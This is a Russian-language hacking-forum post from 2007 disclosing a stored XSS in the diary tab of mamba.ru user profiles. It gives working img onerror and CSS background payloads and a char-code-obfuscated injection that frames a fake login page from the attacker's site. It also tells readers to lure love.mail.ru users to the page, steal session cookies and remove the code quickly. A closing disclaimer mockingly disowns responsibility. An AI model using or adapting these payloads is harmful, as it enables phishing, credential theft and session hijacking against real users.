LeverOne
30.04.2007, 19:05
В духе ныне популярного хек-юродства представляю свою скромненькую активненькую ХSS на mamba.ru .
Профайл - Моя страница - закладка "Дневник"
" style="background-image:url('//')" onerror="javascript:alert(/lo/);
что будет отображено как:
<img src="" style="background-image:url('//')" onerror="javascript:alert(/lo/);">
Дальше лирика.
Данная XSS браузеронезависимая. Единственным ее недостатком является то, что закладка "Дневник" не доступна для всех третьих лиц на самых популярных сайтах системы мамба - love.mail.ru и love.rambler.ru . Однако закладка будет доступна вам для редактирования, даже если вы находитесь на этих сайтах, стоит только кликнуть по аналогичной ссылке:
http://love.mail.ru/my/edit_home.phtml?afolder=dairy
Это означает, что теоретически можно "наградить" юзера данной XSS, а потом разными непалевными способами впаривать ему ссылку на его же дневник, когда он сидит на сайтах типа love.mail.ru, и снифать его куки от почты. Но, Имхо, данный способ при доступных других менее предпочтителен. Наиболее реальным (из тех, что я рискну выложить в паблик) является переманивание юзера, сидящего на love.mail.ru на сайт мамбы и дальнейшая переадресация его на фейк страницы авторизации. При этом разумно использовать фрейм на всю страницу, чтобы оставить родительским адрес-бар:
<frameset cols=100% rows=100% border=0 frameborder=0 framespacing=0><frame src=http://nash_sait.ru/fake.html frameborder=0></frameset>
Кроме того, рекоментуется кодировать все это в Char . В итоге у вас долно получиться что-то вроде этого
" style="background-image:url('//')" onerror="document.write(String.fromCharCode(60,102,114,97,1 09,101,115,101,116,32,99,111,108,115,61,49,48,48,3 7,32,114,111,119,115,61,49,48,48,37,32,98,111,114, 100,101,114,61,48,32,102,114,97,109,101,98,111,114 ,100,101,114,61,48,32,102,114,97,109,101,115,112,9 7,99,105,110,103,61,48,62,60,102,114,97,109,101,32 ,115,114,99,61,104,116,116,112,58,47,47,110,97,115 ,104,95,115,97,105,116,46,114,117,47,102,97,107,10 1,46,104,116,109,108,32,102,114,97,109,101,98,111, 114,100,101,114,61,48,62,60,47,102,114,97,109,101, 115,101,116,62));
что превратится в
<img src="" style="background-image:url('//')" onerror="document.write(String.fromCharCode(60,102,114,97,1 09,101,115,101,116,32,99,111,108,115,61,49,48,48,3 7,32,114,111,119,115,61,49,48,48,37,32,98,111,114, 100,101,114,61,48,32,102,114,97,109,101,98,111,114 ,100,101,114,61,48,32,102,114,97,109,101,115,112,9 7,99,105,110,103,61,48,62,60,102,114,97,109,101,32 ,115,114,99,61,104,116,116,112,58,47,47,110,97,115 ,104,95,115,97,105,116,46,114,117,47,102,97,107,10 1,46,104,116,109,108,32,102,114,97,109,101,98,111, 114,100,101,114,61,48,62,60,47,102,114,97,109,101, 115,101,116,62));">
Как осуществить переманивание? Дело фантазии! Например, сказать юзеру, что у тебя в дневнике куча разной инфы и т.д. Главное - код на фейк-страницу быстро убрать, иначе все станет понятно.
Куки на сайтах системы мамба привязаны к айпи. Но снифануть все же имеет смысл, поскольку можно поиметь куку "SECRET", решающую все проблемы.
Мой путь к данной XSS был таков (может, кому будет интересно).
Первое, что вам предложат, это вести адрес картинки.
вставьте адрес картинки
Но сделав это таким простым юзерским макаром
http://qwerty.ru/lo.jpg
Вы не увидите в исходном коде и намека на картинку. Все отфильтруется нафиг! Небольшой опыт работы с ББ-кодами достаточен для того, чтобы понять, что фильтр хочет получить закавыченный атрибут, но его не находит. Хочешь кавычек? Их есть у меня!
"http://qwerty.ru/lo.jpg"
получаем на выходе
<img src=""http://qwerty.ru/lo.jpg"">
После такой глупости, сложность состояла только в том, чтобы найти мультибраузерный вариант XSS
Так будет работать в IE и FF
" onerror=alert('lo');"
<img src="" onerror=alert('lo');"">
потому что в Opera событие ошибки не происходит, когда aтрибут параметра src тега img пуст! А вставить туда валидную или невалидную картинку (ссылку), которую Opera будет рассматривать за ошибку, у нас не получится при всем желании!
После некоторых попыток удалось найти вариант, сработавший в Opera 8.53
" style="background-image:url('javascript:alert(\'lo\')');
<img src="" style="background-image:url('javascript:alert(\'lo\')');">
У этого кода есть 2 проблемы: во-первых, как мы знаем, javascript в url автоматически фильтруется FF, во-вторых, в последней версии Opera 9.20 это уже также реализовано (и может быть, было реализовано в более ранних).
В конце концов удалось инициировать ошибку не пустым атрибутом параметра src , а невалидным юрлом в стайле.
P.S.
Все написанное автором данного поста является частью приснившимся ему теплой весенней ночью, а частью - случайно услышанным им в троллейбусе от неизвестных ему людей, лица которых он не видел. Автор не призывает получать несанкциронированные данные пользователей с помощью описанной информации, а высказывает лишь свое скромное мнение о возможных путях оного. Автор не несет никакой ответственности за использование данных сведений в противозаконных целях.
P.P.S
На 11.05.07 г. программеры mamba.ru вроде как протрезвели после праздников и убрали багу с невозможностью вставки картинок. Теперь простора для XSS еще больше прежнего.
NEXT =>
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot